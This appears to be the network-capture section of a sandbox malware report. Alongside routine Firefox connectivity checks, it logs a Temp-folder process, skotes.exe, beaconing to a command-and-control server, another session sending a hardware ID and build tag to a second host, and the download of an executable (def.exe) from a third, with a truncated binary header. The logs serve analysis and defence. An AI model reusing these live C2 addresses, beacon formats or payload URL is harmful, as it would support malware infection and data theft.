Nov 1, 2024 05:53:56.960901022 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:57.087811947 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71278 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:53:57.484237909 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:57.610420942 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71278 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:53:57.751760960 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:57.878499985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71278 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:53:58.205908060 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:58.332771063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71279 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:53:58.467885017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:58.593014002 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71279 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:53:59.183305025 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:59.309660912 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71280 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:03.489840031 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:03.614747047 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71284 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:13.637902975 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:54:14.601205111 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:14.726418972 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71295 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50068	34.107.221.82	80	1656	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:56.961376905 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50067	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:57.055448055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:53:57.876056910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50072	34.107.221.82	80	1656	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:57.246676922 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50075	34.107.221.82	80	1656	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:57.621172905 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50078	34.107.221.82	80	1656	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:57.935420036 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50079	34.107.221.82	80	1656	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:58.341286898 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50081	34.107.221.82	80	1656	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:58.603068113 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:53:59.208615065 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48274 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:53:59.313174009 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:53:59.439531088 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48274 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:03.618608952 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:03.744590044 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48278 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:13.799084902 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:54:14.911360979 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:15.039345026 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48289 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50082	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:59.440854073 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:00.343780041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50085	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:01.967442036 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:02.862859964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50089	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:04.411328077 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:05.359819889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50091	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:07.274857044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:08.180140018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	50092	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:08.020700932 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:54:08.939774036 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:54:08.945067883 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="hwid"706A636BF1482604982160------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build"tale------CBFCFBFBFBKFIDHJKFCA--
Nov 1, 2024 05:54:09.234527111 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50094	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:09.839179039 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:10.797389030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	50096	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:11.133249044 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:54:12.049262047 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:11 GMT Content-Type: application/octet-stream Content-Length: 2778624 Last-Modified: Fri, 01 Nov 2024 04:00:31 GMT Connection: keep-alive ETag: "6724525f-2a6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +kx`Ui` @ @.rsrc`2@.idata 8@cfyesryy :@gwntuilp @@.taggant@"D*@
Nov 1, 2024 05:54:12.049280882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:54:12.049292088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:54:12.049302101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
